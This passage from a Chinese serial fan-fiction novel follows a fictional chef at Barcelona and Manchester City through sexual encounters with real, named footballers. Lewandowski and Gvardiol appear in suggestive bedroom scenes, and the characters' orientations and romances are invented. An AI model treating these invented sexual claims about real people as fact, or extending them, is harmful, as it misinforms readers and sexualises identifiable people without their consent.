而且这人还有个怪癖,就是爱在群里艾特别人再撤回,然后重新再把消息私发给别人。 他不知道莱万有没有对别人这样做过,反正他就收到过不止一次。 德容在群里说早饭能不能都坚持来,做的这么丰盛来的人没几个,不知道的还以为我们新晋主厨做的不好吃,其实是你们太懒,非比赛日就睡懒觉,要我点名吗? 莱万回复,我可是出勤率最高的,对我们新晋主厨必须支持。 佩德里纠正他们,布莱恩来了快三个月了,还新晋主厨呢,你们真没良心。 加维艾特莱万,说你以前可是吐槽餐厅最凶的,现在竟然一有吃的话题就兴奋,得让克里奇利站球门后面炒菜,香味就把你勾去射门了。 莱万回复哈哈哈,然后艾特克里奇利说,你就按照加维说的做,人站那就行,爱吃人狂喜狂射门。 你爱吃人啊?一板一眼的拉菲尼亚发了个拿锅敲他的表情。 结果,他撤回了,然后私下给克里奇利发,说对不起我不是要射你和吃你,我的意思是你做的食物很好吃,很诱人。 解释的克里奇利小脸通黄,还给他发了个小黄心。 接着莱万就时不时的安排独处的机会,下班就喊他去健身,还像个健身教练一样各种摆弄他,健完身以后拉着他去洗澡,洗完澡以后拉着他对着镜子自拍,拍了好多好多。 像是一种健身日记,不满意的地方甚至想用刀来修修。 这不,举着刀的野心家终于有机会在他垂涎已久的身体上试验试验了,这次的理由太充分了,他之前训练过度都是用刀来缓解的,刮的时候无比酸爽,刮完了一身轻松。 “我轻点。”他把手搭在克里奇利的肩膀上,示意他躺下。 “我真的不用。”克里奇利伸手推他,结果双手正推在波兰人饱满的胸肌上,触感紧绷微弹,对摁惯了男人的克里奇利来说,摸上去比看着要带劲的多,出于本能的捏了捏。 这一捏把波兰人捏爽了,他笃定克里奇利是他认为的那种双开门,拥有漂亮的下巴和一双男女通杀的大眼仁让人忍不住想多看几眼。 他浑身散发着热浪就像蒸笼里的热气,特别是洗澡后脸上皮肤白里透粉,和那种动不动就续须彰显雄性魅力的猛男不同,克里奇利有一股点到为止的放荡和收放自如的潇洒劲儿。 他不抗拒就是默认可以对他做进一步的探索。莱万试探着握住了他的肩膀,顺着肩膀力道加重的揉捏他的胳膊,一边按摩一边用眼神来回打量他。 一向用眼神衡量别人意向的克里奇利没想到也有一天被别人揣摩。 莱万摸了他半天笃定他是不会拒绝他这样的威猛先生的,于是上前一步把人放倒在身后的大床上,对着他肩膀上的肌肉就下了刀。 “噢噢噢!”克里奇利胳膊一用力就扯到痛处,可不用力就被他强制刮擦搞的更痛,情急之下,直接喊出了“大哥你想做就直说,不用搞这些花里胡哨的。” “啊,布莱恩,不是,我不是。”莱万被他一语捅破突然本能的狡辩起来。 “你不是什么?”克里奇利皱眉看着他,难道就想对着自己下个刀? “我是,我是…”他又兴奋的不知所措。 “你是什么?”克里奇利突然勾住了他的脖子,眼神迷离的上下打量着他。 莱万突然进退两难,想摁这个英国人想很久了但要他亲口承认自己蓄谋已久的目的又语塞了。 他想了想,硬着头皮说,“我接下来可能会对你做一些我这辈子都不敢做的事情,这太荒唐了,布莱恩,因为我还不确定自己是不是对男人也感兴趣。” “什么?”克里奇利白眼都快翻到天上去了,想吃一道菜很久了,现在菜就摆在嘴边又在矜持些什么? 他见过的所有gay men里还没有一个出来做事还给自己找说法的,难道他是来验证他们性向的? “你想证明什么?不和你来一次是不是都对不起我这身份?”克里奇利看出莱万实际上就是一只孤芳自赏的大孔雀,先是观察他,再约他健身洗澡继续观察他,现在难道不是想证明自己的魅力是任何一个gayman无论如何都拒绝不了的吗。 “你真是gay?” “你可真逗,我不是的话,能让你压这么久?好了,你猜对了,请转过去。” 莱万被克里奇利说的不知所措,想又不敢,敢又不会,自己隐藏了很久的心思被他轻而易举的说出口,实在是有些难为情。 他仔细想了想,自己应该是想在上面的,以前对某个人就有过这种想法,结果因为自己的犹豫不决浪费了机会不说,还把关系搞砸了。 现在可以挽回的机会来了。 莱万躺在床上没有转过去,克里奇利也躺在他身边,因为胳膊不能受力而正在考虑别的办法。 莱万说:“我失去了他,没法挽回了。当时太年轻总觉得负担不了,对他若即若离的。如果可以,我想向他证明我爱他。” “他是男的?” “嗯。” 他刚才说不确定自己是不是对男的也感兴趣,现在又推翻,真的是一个超级别扭又可怜的家伙。 “把我当成他吗?” “不是,对不起,我不是不尊重你。” “别废话了,把我当成他就行!” 克里奇利翻身上压,不用胳膊支撑,让身下人承受他整个身体的重量,毫不留情的吻了过去。 莱万被他吻住,一时懵了,那种想当左位的念头正被娴熟诱人的亲吻给一点点碾压。 把他想象成那个人是不可能的,那个人没有他这么大胆,也没有他这么放肆。 他没有任何掩饰,像12点的烈日,直射而来。 “小样的,跟我俩在这磨磨唧唧。” 克里奇利把送上门来要那刀吓唬他的九五之尊压的那是一点脾气都没有。 第67章 接下来的西甲第13…… 接下来的西甲第13轮,巴萨主场坐镇应战塞维利亚,拉菲尼亚造点,莱万命中,第39分钟莱万大禁区外围远射破门。 随后,莱万跑到角旗区附近做出了“我眼睛看不到你但我脑中在想你”的一系列动作。 他真的是个情种。 那天晚上和克里奇利共度良宵,过后却泪眼沾巾的回忆起在德甲的日子。 克里奇利困的不行,硬是被他拉起来倒上一杯伏特加,就着火腿酸黄瓜唠叨了半夜。 令克里奇利印象最深的是,莱万说他喜欢的那个人有一头漂亮的金发,碧绿色的眼睛,皮肤非常白,气质优雅高贵又带着点与生俱来的悲情色彩,像班里高冷的女神,总感觉有很多人追但其实很孤单。 多特的人都很呵护他,莱万也想呵护他,可总觉得自卑,直到把他的助攻送入门中,才有了一点一点接近他和拥抱他的机会。 莱万知道每次打进球就会得到“女神”的拥抱,而他就可以明目张胆的抚摸“女神”的金发,再对着他灿烂的傻笑。 这是最自然而然的接触,一点都不刻意。 他们可以在镜头下大肆赞美对方,为了这个胜利甚至可以亲吻对方。 莱万没想到自己作为一个非足球强国的外地务工人员总被人调侃是雇佣兵,踢好了可以留在德国赚欧元,踢不好就会被解雇,然而罗伊斯一点也不嫌弃他还主动请他去家里做客。 被德国人请进家门是一个相当特殊的礼节,而且那天罗伊斯还说,他家里没人,只有他自己。 这话说的太暧昧了,可愣头青莱万压根没反应过来一向高冷忧郁的“女神”怎么会暗示他给他机会呢。 第一次去家里做客失败了,他们喝了些德国啤酒,罗伊斯和他聊起感情话题,本来没谈过几次恋爱的莱万表现的像个情场老油条,夸夸其谈的说自己很会追女孩子。 后来,两人就像大多数队友一样泛泛而交而没有进一步的发展。 直到那两场关键比赛,对阵皇马的欧冠半决赛首回合,罗伊斯中场盘带后交给莱万,后者劲射被卡西利亚斯扑出,随后的头球也被干扰了一下稍稍偏出。 莱万沮丧的不能自己,一个人在更衣室偷偷抹眼泪,罗伊斯洗完澡回来看到他还没走,过去把手搭在他的肩膀上,告诉他这不算什么,又不是再也碰不到了。 于是在次汇合,多特主场,罗伊斯冒着被骂独狼的风险,从中场带球一路狂奔,凭借个人能力突破皇马防线,一脚爆射挂入球门死角,为队伍也为好朋友狠狠报了仇。 他们再次合体庆祝,高唱多特队歌,在赛后绕场答谢球迷时,罗伊斯双手抓着黄色的围巾把莱万圈在怀里,那一刻他们的脸上带着笑意,而莱万却想哭,仿佛耳边安静了,只有他们两个人,殊不知这一幕被摄影师捕捉到,成为人群中如此耀眼的经典瞬间。 莱万找出那张照片给困的睁不开眼的厨子看,厨子看了以后夸他有眼光,这个罗伊斯怎么看着这么眼熟,是困到模糊还是伏特加劲儿大,让克里奇利有几秒幻视了。 莱万一点也不困,他喋喋不休的讲着那些没有续集也没有结局的记忆碎片,如今也只能靠回忆来弥补遗憾。 讲到动情处,爱意泛滥的莱万总是控制不住自己主动凑过去贴一贴今晚和他有过肌肤之亲的局外人,似乎在寻求安慰。 克里奇利也不会安慰人,他只能强迫自己不睡着来表示作为一个听众的诚意。 莱万告诉他,你虽然和他一点都不像,但是仍可以给他很大的勇气和希望。 克里奇利说有一点像,都是男的。 莱万笑笑,也不管克里奇利想不想听,他还是要把故事讲完。 他说,我曾向罗伊斯约定,我不会离去。他只是笑,目光中有期许也有一点怀疑,然后我用20个进球夺得了那个赛季的德甲金靴,向他证明我有多想和他在一起。 就这样证明吗,克里奇利好像做梦了,梦见莱万拿着金靴向罗伊斯求婚,然而现实是莱万回到国家队狠狠吃醋,怒赞罗伊斯和克罗斯战术进球后的拥抱亲吻,并转头和自家门将什琴斯尼在镜头前卿卿我我。 撤没撤回他没说。 回到俱乐部,罗伊斯因为在国家队操练太猛而总是伤伤停停,特别是大赛总是受伤,被外界吐槽是玻璃做的动不动就碎。 而被称为更衣室战神的莱万被寄予厚望,成为多特蒙德强大的内核,最好的中锋。 罗伊斯在采访中说他就是最好的中锋,自己想要保护他。 一个经不住对抗总是受伤的潦草小猫,带着伤病累累的身体,仰着倔强的头,发誓要用生命保护那个能扛着两个后卫进球的大块头前锋。 听到这,克里奇利悟了。 他说,罗伯特,我觉得你应该给那位寄一件你的球衣,这样你们就可以打一通电话,或许可以让你们重续前缘。 莱万说得了吧,那多难为情啊,无缘无故的,一切随缘吧。 有些人活该拼命奔跑也到不了终点。 50米笑百米,他还在做火车,在每个站台都要停停走走看看,能有什么好的建议给别人。 睡了一觉,莱万已经悄无声息的走了,只有桌上一片狼藉和地上用过的几个小方塑料袋证明昨晚有人来过。 克里奇利头痛死了,真想拿gun结果了自己,但他突然想起来自己趁着放假好像约了搬家公司,来处理他在曼彻斯特的后事。 当时来巴萨来的匆忙,一来就投入工作还没搬过家,现在趁着伤休,终于有时间在巴萨物色了房子,于是他回到曼彻斯特整理自己的旧物。 特别是那些墙上挂的稞男壁画和意大利风情木雕艺术品。 他这次回去谁也没告诉,但不能不告诉他弟弟,那个和他没有血缘关系却是他唯一家人的世界先生。 他说你要是有空就回来,没空就算了,也不用人手。 托马斯说:“你就不能说想我要我回咱们家聚聚吗?” 克里奇利说我没事想你干嘛,你欠我的钱都还清了。 托马斯说好吧,你就嘴硬吧,明明就是想我了。 托马斯觉得他不仅想他了,应该想念的人有很多。 他就跟麦卡蒂说了,麦卡蒂问他需要帮忙吗,他说看你人脉了。 结果,等克里奇利回到曼彻斯特的旧公寓时,好家伙,一屋子人吓了他一跳。 他还退出去看看门牌号,没错,是那个小破家,屋里的人他也都认识。 这小崽子呼啦一帮人干嘛,还都是曼城的人,给自己办欢送party吗。 他的家具都被收拾打包好了,客厅看上去很大,因为他家从没来过这么多人。 eleven指挥着餐厅的同事在他家不锈钢台面上摆好餐饮,客人们一堆一堆的聚在一起聊天等候着他。 他真的被眼前的情景给镇住了,这场面不亚于他30岁生日猛男狂欢,只是场面不大相同。 还没等他眼神扫一圈,托马斯就跑过来一把抱住了他,在他怀里蹭了个第一香。 “哥!你看,你人缘多好,大家都来给你送行。” “我天,我葬礼都来不了这么多人。” “瞎说什么!”托马斯打了他一下,接着被麦卡蒂拉过去并递给他一束花。 “噢,忘了,给我尊敬帅气今天喜迎乔迁之喜的哥哥!”托马斯兴师动众的还送花给他。 克里奇利接过花瞪了麦卡蒂一眼,心想这小子什么时候混的这么好,吃过他炒饭的曼城众将这是都来了? 他手里拿着花,尴尬的不知所措,这时德布劳内走过来,作为队长向他表达曼城的关怀和祝福。 德布劳内说:“感谢你上个赛季的付出,我代表兄弟们……” “噢——”众人起哄。 搞得克里奇利更尴尬了。 “凯文!你能不能别搞这么正式,太要命了!”格拉利什大声吐槽。 “好吧。”德布劳内笑了笑然后抿起嘴巴,“感谢你为曼城做出的贡献。” “哎呀妈呀,上帝!耶稣!”格拉利什实在忍无可忍,他走过去一把抱住瞪着无辜大眼睛不知所措的老乡,对他说,“你给凯文下咒了?他怎么变成AI了,还有凯文你,我发现自从他走了,你就不正常了。” 德布劳内红着脸摊摊手,“是你们这帮家伙怂恿我让我说几句的,我说什么?祝你搬家快乐,布莱恩。” “emm…”克里奇利终于磕磕巴巴的开口,“我…我…我…”光我就说了三遍。 “我很高兴你们能来,让我知道我好大的面子。” “哈哈哈哈…”众人爆笑。 “你为什么不告诉我们呢?”eleven上前锤他一拳。 “告诉你们,然后来一堆人感动的我不想走还是一个不来让我下不来台?” “说你乐观还是悲观好呢,布莱恩,现在看来是前者,真希望你还在曼城,这样我就不至于整天被这帮大老爷们刁难。”Eleven抬手点了几个嘴巴叼的。 “噢,谁敢刁难你呀,唯一的盗版克里奇利。” “把我们每个人的忌口都能记住。” 人群中七嘴八舌的开着玩笑,克里奇利听了心里升起了阵阵暖流,要是自己没走多好。 这感觉就像在做梦。 第68章 午餐时间过…… 午餐时间过得很快,大家趁机和朋友寒暄对饮,好像忽视了今天的主角。 每个人和克里奇利打过招呼以后都各自找到了玩伴和自嗨的空间。 这正中他的下怀,他本来就是一个高调做i,低调做人的老Baby,对这种社交最不感冒,甚至有好几次他都想去拆开已经被打包的家庭影院设备,放上劲爆的音乐,和他们来一场末日狂欢。 那会是什么画风呢。 他在他家不锈钢吧台前坐下,手里摆弄着一支高脚杯,里面盛满了红色的鸡尾酒,他一边时不时地应付着和他打招呼送祝福的人,一边脑子里幻想这么多美男齐聚的大impart。 想着想着,他的目光延伸到卧室那张雪白的床。 不知道是不是特意留的,床上用品还没有打包,看着看着脑海中就浮现出不合时宜的画面。 刚才一本正经感谢他的那个人,和他在那张床上度过不知多少个斐丽浪漫的夜晚。 如果他不介意,是不是一会可以留下,给他一个想要的送别仪式? 噢,好混蛋。他生气自己脑子乱想,举着高脚杯的手想给自己一巴掌,没想到手一抖,酒杯里鲜红的液体就洒在了刚坐在他身边准备和他say hello的人身上。 “Oh!Sorry!”他连忙道歉,抬头一看,是格瓦迪奥尔。 “Sorry,Josko Gvardiol.” “不至于。”格瓦迪奥尔胸前一凉,揪起了自己的衣襟,笑意相迎摆摆手表示不要紧,“我说,不至于喊出我的全名。” “噢,Sorry Josko.”克里奇利连忙递过去一张纸巾按在他胸口上。 “也不至于道歉三遍,Brian.”格瓦迪奥尔接过来擦了擦,皱起眉头看向他,“咱俩这么生疏吗?” 克里奇利想想,倒也不算生疏,还是有过交流的。 格瓦迪奥尔长得高大粗壮,说话声音一直很小,不仔细听都听不清他说什么。 他一直以为他们克罗地亚人不喜欢说英语,而且他和科瓦契奇是个伴,平时总黏在一起,不大和本地人交往,也很社恐,每次问他想吃什么他都跟蚊子似的表示给他一点点红菜汤和蒜香面包就行。 “也不算生疏吧,约什科,我还记得你是唯一和我吵架的人。” 克里奇利从众多美男记忆里调出和格瓦迪奥尔的交流片段,模模糊糊但还好有印象。 “也不算吵架吧。”格瓦迪奥尔记得很清楚,他认认真真地解释,“是我表达的不好。” “你说的不是英语吗?我记得你说‘笨蛋,不要老是用你的思维去定义别人,再给我吃鱼,我就把你吃了’是不是这么说的,嗯?” “噢,所以,我是来道歉的,布莱恩,你可以撤回一个sorry。”格瓦迪奥尔耳朵有些红,看上去比他胸前的酒精染色还要红。 “道歉干嘛,都是兄弟。”克里奇利盯着他胸前的酒渍,有些出神的回答他,心里却在想,我这里应该有他能穿得上的衣服,一会人都走了给他找件换上。 为什么要等人都走了,他又在心生歪念。 “我其实不爱吃鱼,你老是给我吃鱼,我就很生气,我在想是不是哈兰德要吃鱼,你为了满足他,拼命地搞一些进口的鱼来,然后做多了就分给我们吃。” 格瓦迪奥尔回忆起那段和他相处的日子,虽然是来道歉的语气里却充满了埋怨,还有一点微不可查的撒娇。 “噢,确实,我觉得那些鱼真的很不错,很肥美又不至于把你们吃胖。”克里奇利啜了一口酒,淡淡的回应他,眼神时不时地在他身上扫视,格瓦迪奥尔穿了一件宽松的白衬衫,胸前被酒渍沾染贴在了饱满的胸肌上。 他真的是男侗天花板级别的幻想对象,自己怎么早没发现呢。 格瓦迪奥尔被他看的有些口干,不分你我的拿过他的杯子也啜了一口酒,是他说的都是兄弟,不要见外的。 “我真的看见鱼就想吐。”他放下酒杯接着说道。 “真的很抱歉,我以为你怪我改你的菜单,你那时候头被撞伤了,我希望你能快点好起来。” “布莱恩…”格瓦迪奥尔声音又小了下去,“我不笨的,虽然我读书少。” “嗯?”人声嘈杂,克里奇利没听清,他侧身凑了过去,闻到了鸡尾酒裹着一丝海洋的味道。 有点像他身上的味道,只是自己的香水味自己闻不大出来,现在却闻的很清楚,凛冽的海盐薄荷味儿,让人有一种被后卫放倒的冲劲儿。 格瓦迪奥尔喝了一口酒好像自信多了,声音也大了一些,他说,“我小时候帮我爸卖过鱼,16岁的时候我爸说我是长身体的时候于是天天吃鱼,其实是他卖不出去的剩鱼,我真的吃够了。” “后来,没想到我能去莱比锡踢球,更没想到会来曼城,所以我觉得那些鱼也立了功,但是,你又给我吃鱼把我吃烦了,其实…” “其实什么?” “其实你做的菜每一样都好吃,我不想给你添麻烦,只需要给我一份简餐就行,不像哈兰德,他总是要你给他调整食谱,你大部分时间和精力都用在了他身上,我…我有点…看不惯。” “噢~你心疼我。”克里奇利还是听清了他话里的意思,估计这小孩也跟哈兰德吵过架,他记得有一次哈兰德很生气的嘟囔说鱼招他惹他了,竟然骂我是一头大傻鱼,整天就知道吃鱼。 克里奇利开始用深切黏人的目光审视他,干净雪白的脸上刮的很有型的络腮胡,毛是毛皮是皮的,露出来的皮肤又白又嫩看得出年纪不大。 一双大宽双眼皮忽闪着蒲扇一样的睫毛,黑悠悠的眼睛盛满了水泽,看上去硬朗又不失温柔。 克里奇利不由得摸了摸自己的下巴,感叹现在是20岁小年轻留胡子扮老成,30岁的老爷们刮的毛都没有装嫩。 对呀,他才20出头,还是个小孩。不,他不是小孩,他是曼城后场铁闸,敢于放铲,对抗,续航能力无限,是一个可怕的后生力量。 那么,他对自己有意思一直没表现出来还是自己愚钝到没发现,不应该啊,他看上去是个直男,因为他实在的近乎冒着傻气,哈兰德说自己得了流感发烧到40度,他说握草牛逼! 女记者采访他,问他用的什么香水,他说不臭的香水就行,他不挑,而且都是别人送的。 “你用的什么香水?”克里奇利突然脑子一热,他也想知道。 “海洋之心。” “噢~巧了。” “你也是?” “嗯。” 格瓦迪奥尔低头笑,再抬起头的时候,对他说,“我就知道。” 第69章 好一个长着天使面孔…… 好一个长着天使面孔却留着满面胡须的健硕白男。 对他放电时带着含蓄的妖娆,这种反差让克里奇利心尖猛地一颤,要不是房间里这么多人,他想就地把他放倒在客厅的地毯上。 嗯……人多也不是不好,可以助助兴。 他又倒了一杯鸡尾酒一饮而尽,抬起修长的手指戳了戳格瓦迪奥尔衬衫上的污渍,贴近他通红的耳垂,轻柔性感的声音好像被呼气冲出一样,轻松钻进克罗地亚人的耳廓。 “如果你想换件衣服,请跟我到卧室里来。”搭在格瓦迪奥尔肩膀上的手微微收紧捏了捏那紧实的皮肉。 天哪,格瓦迪奥尔看着高大神秘的克里奇利在自己眼前晃,一转身就晃走了自己全部的灵魂,那些无比渴望无比幻想的时刻就要到来了吗? 他的眼睛直勾勾的盯着那人的背影闪进了卧室,除了那句跟我到卧室里来的命令在耳边萦绕,他的耳朵已经听不到任何嘈杂的声音,眼睛也看不到客厅里正在吃喝玩乐的人群。 他走进卧室,背靠着门,深呼吸,脑子里只有一个念头:怎么会是我? “锁门。”房间的主人下达了第二个口令。 “噢,好。” 咔哒一声落了锁,他手心已经开始冒汗了。 “Try me。” 容不得他有半分思考,克里奇利已经脱了上衣,对他发出了直白短促的邀请。 “我一直都想,布莱恩。” 他刚要解开胸前的扣子,接着就被一双温热的手掌抓住了手腕,十分用力的攥着,把他一点一点拉近床铺,接着往身前一拽,惯性让他往前扑去,然而成熟会玩的英国人一个闪身就诓了他一下,害他扑了个空,顺势跌进柔软的床垫上。 他转过来,撑起自己的上半身,一双幽黑清澈的大眼睛,透着不知所措的紧张和试图鼓励自己勇敢尝试的求索欲,在克里奇利看来,是渴望被撕碎禁欲枷锁的啸叫,这太符合他的年龄了。 一个拥有顶级身材力量爆棚的性感男孩,正向他展示着渴望被带入新奇世界的愿望,把克里奇利的同性雷达刺激的发出阵阵尖锐的爆鸣声。 克里奇利努力克制住想要扑上去的冲动,产生了一种珍惜和满足这份暗恋的念头,他知道外面都是人,时间很短,那也要给这头不知深浅的只想吃蜂蜜的小熊崽狠狠上一课,像吃自助餐一样让他暗恋回本。 熟悉的香味交错在一起,凛冽而浓厚地环绕在稀薄的空气中。 克里奇利抬手拢过他的后颈,看准了茂密草丛中泛着朱红的唇瓣,蜻蜓点水般地亲吻他。 他的胡茬不碍事,也不扎人,是那种卷曲的厚重的毛呼呼的触感,像小刷子一样在脸上慢慢地刷来刷去。 从未亲吻过这么烈性的动物,雄性因素强悍,在他试探着亲吻的时候就被小熊反咬了。 腹部涌上酸痛的热流,让克里奇利不由自主的绷紧了后背上的肌肉。 亲吻了一阵,格瓦迪奥尔喘的有些剧烈,身后平整的床单也被他抓出了几道褶皱。 自己喜欢的人果然有超凡脱俗的本事,只是压着他吻了几下子就让他脑袋里的弦崩坏了。 他平顺了一下呼吸,抬手抚摸英国人干净雪白的脸庞,近距离欣赏这个让他神魂颠倒的漂亮男人,说真的,他这亿万的鼻子和下巴还有自带眼线的大眼睛,谁看了不迷糊啊。 他看着克里奇利愈发靠近的脸,等待着再一波热情奔放的英式亲吻时,忽然身下一凉,裤子被扯下来了。 脑子刚反应了两秒,肩膀又被他一推,后背就靠在了床头,那人却后退着来到床尾,站在地上欣赏着他有些凌乱的半裸造型。 他自己都觉得这个视角超级带感,于是亲自动手一颗一颗解开了衬衫的扣子。 两条雪白修长的大腿随意伸着,衬衫下摆刚好遮住深蓝色的内.裤边缘,领口大开饱满有型的胸肌若隐若现。 好像在拍某个男色杂志封面,这大胡子翘.屁嫩男绝了! 克里奇利满意地欣赏了一会,有些缺氧似的用力地吸了口气,接着便毫不吝啬地与他坦诚相见,豪迈地展示着他引以为傲的健康和自信。 “你好帅,我好喜欢你。”格瓦迪奥尔没想到有一天暗恋变现,索性说出来以前不敢说的话,反正他也要走了。 克里奇利笑笑,轻轻拍了拍他的脸,“为什么不早点告诉我?” “我不敢告诉你,因为我给不了你想要的东西。”格瓦迪奥尔声音又小了下去。 “我什么都不想要。”英国人的发丝略微被汗水打湿,表情微微克制着那股酸意侵袭。 “真的吗?那德布劳内怎么回事?”格瓦迪奥尔抬头看向他,眼睛里充满了疑惑。在他看来,如果不是德布劳内出界了兴许克里奇利还能留下。 “他怎么了?” “你走了以后,他好像老了十岁。” “我知道,你们这个赛季不太好过。”克里奇利转移了话题。 “嗯,是不是都像我一样没有勇气,才会得不到想要的东西。” “拥有过就很好了。” 他们不再说话,各自的心思已经了解了大半。 格瓦迪奥尔欣赏的就是他这种把感情看成卷纸,没事别扯的态度,但在真刀实枪的操练中,又刀刀入肉,用一种过来人的技巧把各自扮演的角色带入到游戏中,给人轻松愉悦没有负担的感觉。 而克里奇利也知道,给他们提供美食滋养的同时顺带着按摩服务会让彼此得到双向满足,何乐而不为。 隔着一道门的客厅突然传出笑声吵闹声,他们一定在玩什么好玩的游戏。 不如金色阳光洒满房间,白色床铺上来回翻滚的双人互动游戏来的更有意思。 克里奇利已经不去想太多,那些为什么没能继续下去的感情,以及为什么选择离开这里,他很清醒的知道不贪恋某个人就不会惹上一脑子狼藉。 可那段过往还是像烧过的琉璃一样,烧制时呈现过分的华彩,而过后最终变成易碎品,谁提都是拿砖去?*? 敲打他脑子里的这块脆弱的琉璃保护罩。 格瓦迪奥尔并没有发现他严肃的表情中有什么异样,直到他轻轻吐出一口气,将手从自己的膝弯中抽出,仰面躺在床上,再把胸前的汗水毫不客气地蹭在自己身上,两个人的呼吸才渐渐平静下来。 过了一会,克里奇利从衣柜中找出自己的T恤递给他,让他换上。 他指了指地上的衬衫说都干了不要紧。 克里奇利不由分说的给他套上,说,“这样你就有了一个和我独处的借口。” “换衣服半小时吗?” 克里奇利拽了拽他的衣角,又抬手摸了摸他的脸,压低了嗓音对他说,“没错,你要保护好自己,知道吗?” 说完,就被熊抱了。 一个力量惊人的拥抱,好像要把他塞进身体里,温暖厚重毛茸茸的包裹感让克里奇利忽然想到十几年前那个苍凉的雪夜。 “我会想你的。”格瓦迪奥尔抱着他不撒手,还左右晃了晃。 “呵…偶尔想想就行了。” 克里奇利少见的脸红了,又给年轻人上了一课,这节课的名字叫做《你暗恋的人上了你还叫你保护好自己》,如果有副标题,就是——你还感激涕零的舍不得放开。 真是泥马造孽的风情大祸害,德布劳内说的一点都没错,千万别爱上他,就当他是按摩椅,解解乏就行了。 天下没有不散的筵席。 送走了宾客,克里奇利一个人坐在空旷的房间里,回想刚才像电影片段似的一幕幕,觉得自己又进阶了。 他这个万里挑一的大总攻,就是不该属于某一个人的。 刚才,格拉利什拉着他的手悄悄叮嘱他说你别太引人注目了,不然掉马被反攻了可别怪我没提醒你。 他笑着说不能,接着做了一个捂好马甲的动作。 罗德里拍拍他肩膀,说在西班牙有事找我,别不好意思的。 他正儿八经的跟直男罗德里贴贴,说要是跟你客气也不会来曼城了。 鲁本迪亚斯火热的看了他一眼,说你要是还想回来我还是可以把你弄回来的。 他说谢谢鲁总,我就知道来曼城是你给的就业机会。 福登闹他,捏了他的耳朵。 一大帮人告别完毕,德布劳内才走上前来,他抬手揉了揉克里奇利的头,又被这帮家伙起哄说你刚开始的矜持呢,队长。 “嘘!队长想怎么表达就怎么表达,就连今天的局都是队长赞助的!”人群里不知是谁喊了一嗓子。 “噢,谢谢你,凯文!” 克里奇利任他摸头,手就不听话的搭在了他的腰上。 猫把狼当狗摸,不仅如此,谁也不知道猫还把狼撅了呢。 猫说:“去吧,转一圈累了再回来,曼城始终是你的第二故乡。” 他点了点头,脑子里闪过亲吻他的画面,接着轻轻摇头叹息。 只有站在一边的托马斯发现了他冷峻孤傲的哥哥眼睛里起了雾。 第70章 曼彻斯特最…… 曼彻斯特最后一夜,是安静的躺在家徒四壁的床上抽着烟养着瞌睡虫好呢,还是出去转转好。 克里奇利看看表,22点整。 这个时间的伦敦蝴蝶大道已经像早上10点的菜市场,再不挑选好的食材那些小鲜肉们就被抢走了,只剩下一些歪瓜裂枣了。 虽然辗转了好几个城市,还是怀念伦敦那种放浪不羁自由热烈的成熟风,Nice吧门口挂着醒目的“men only”标识牌,进去以后总能选到对位的酷儿。 曼彻斯特呢,就好像拒绝加班的美厨娘,10点以后就收工不再提供香甜的葡萄汁和辛辣的海鱼夜宵,你想吃就得出去到深巷子里去寻觅。 他穿上一身黑,腰上系一条亮枪色马蹄扣的Ferragamo腰带,把一身朴素低调的穿搭提亮在腰间,让懂行的人一眼就能看出穿衣人的低调奢华的品味,特别是gayman。 他在大街上漫无目的的走着,不知不觉就走到了老特拉福德区。 他住的公寓本来就在两区交界,这里也有不少曼联球迷。 但吵闹的还是城迷,因为近年来要庆祝的实在有点多,这引的红魔们分外眼红,大到球场小到酒吧球迷们纷争不断,特别是有比赛的日子,这里能吵一晚上。 要不是police夜巡,这一条街的主题酒吧就得被他们打破产。 足球是这座城市的名牌,和酒文化相撞在一起,总会擦出不一样的火花,让男人们得到片刻的放松还有情感的宣泄。 他们喝着酒吹着牛b,对比赛发表评论,对教练和球员品头论足,甚至大骂某个球员是个菜b应该早点滚蛋。 这都司空见惯。 看不惯的就对骂几句,实在不解气就打一架,这在夜场的酒吧里时有发生。 这不,克里奇利刚坐在一个卡座上点了一杯酒,身边就有两个疑似红蓝球迷动起手来。 他听着应该是最普通的引子引起的。 一个说曼彻斯特的天空是蓝色的,另一个说是红色的,然后就撕起来了,目测他们也就刚满18岁,真是大英特产,带着一身反骨的teenager。 他只希望血别溅他身上,于是拖着高脚凳坐的远了一些,管不了,他要是管,这一宿不用干别的,他是来找乐子的又不是来找麻烦的。 谁知他不管的竟然有人要管,这人不是酒吧保安也不是便衣police,他穿着一件红色的机车服,带着棒球帽,一张白皙的没有血色侧脸却有着极其硬朗的下颌线。 这人也不是杆公平秤。 他一手搭在被揍了一拳捂着眼的曼联小球迷肩膀上,对着那个戴眼镜的曼城球迷说道:“嘿,四眼仔,滚回你那坐升降机的队伍中去,我们才不会和你们一起降级呢!” “降级怎么了,我们会带着巨款降级,而你们只会破产,怕了吧。” “降就降,谁怕谁?” “噗!”克里奇利一个没忍住笑出了声。 这可好,三人齐刷刷地看向他,戴眼镜的小子见他们人多趁机扭头跑了。 这俩人一个脸黑脖子粗,一个高低眉凶神恶煞地看着他,酒吧灯光昏暗,看不清对方真实的样子,但确认是俩不好惹的主儿,果然黑脸小子开口质问他,“有毛病?曼城球迷?知不知道这是什么区?” 克里奇利可不想跟小崽子吵幼稚的架,而且这俩人一个长得像齐尔克泽,一个长得像加纳乔,真的是越看越像! 难怪是曼联的铁粉,简直就是球员的翻版。 “噢!我认识他。”白皮肤戴棒球帽长得酷似加纳乔的年轻人捂着嘴说,“他是曼城的人。” “难怪这么油腻,中年大叔不好好在家奶孩子,穿成这样出来不嫌丢人。” “你们俩!” 克里奇利本来不想惹闲事儿,但是这俩人实在是太目中无人,太吊儿郎当了,关键是说他老。 “怎么,想打架吗?”黑皮小孩捋了捋袖子。 “不知道你俩是冒充球迷给自己脸上贴金还是冒充球员给自己偶像拉踩,有点刺我的眼睛。” “说什么呢你!” 黑脸小孩气鼓鼓地瞪着他,但不太敢动手,毕竟眼前这个操着一口标准英伦腔气场强大的男人不像刚才的四眼小胖子看上去那么好惹。 棒球帽男孩推了他一下,说,“你走吧,我是看你被欺负才出手帮你的,你打不过他。” “咱俩还打不过他?” “你只是长得像齐尔克泽,你看看我到底是谁。” “加,加纳乔?” “嗯。” “Oh my god!” 加纳乔怎么会在平民酒吧帮球迷打架,说出去谁信,不过他话音刚落,这里立刻变成追星现场。 真的是幼稚他妈给幼稚开门,幼稚到家了。 克里奇利实在是看的脚趾抠地,心想这都什么事,加纳乔有病吗,一球成名的曼联倒勾王子跑这种地方来刷存在感,还和对家球迷吵架,不怕被认出来第二天上头条吗。 的确不怕,还自爆。 听说这人是加纳乔,吧台这里发生了一点小小的骚乱,不管是不是曼联球迷都过来想要一张合影。 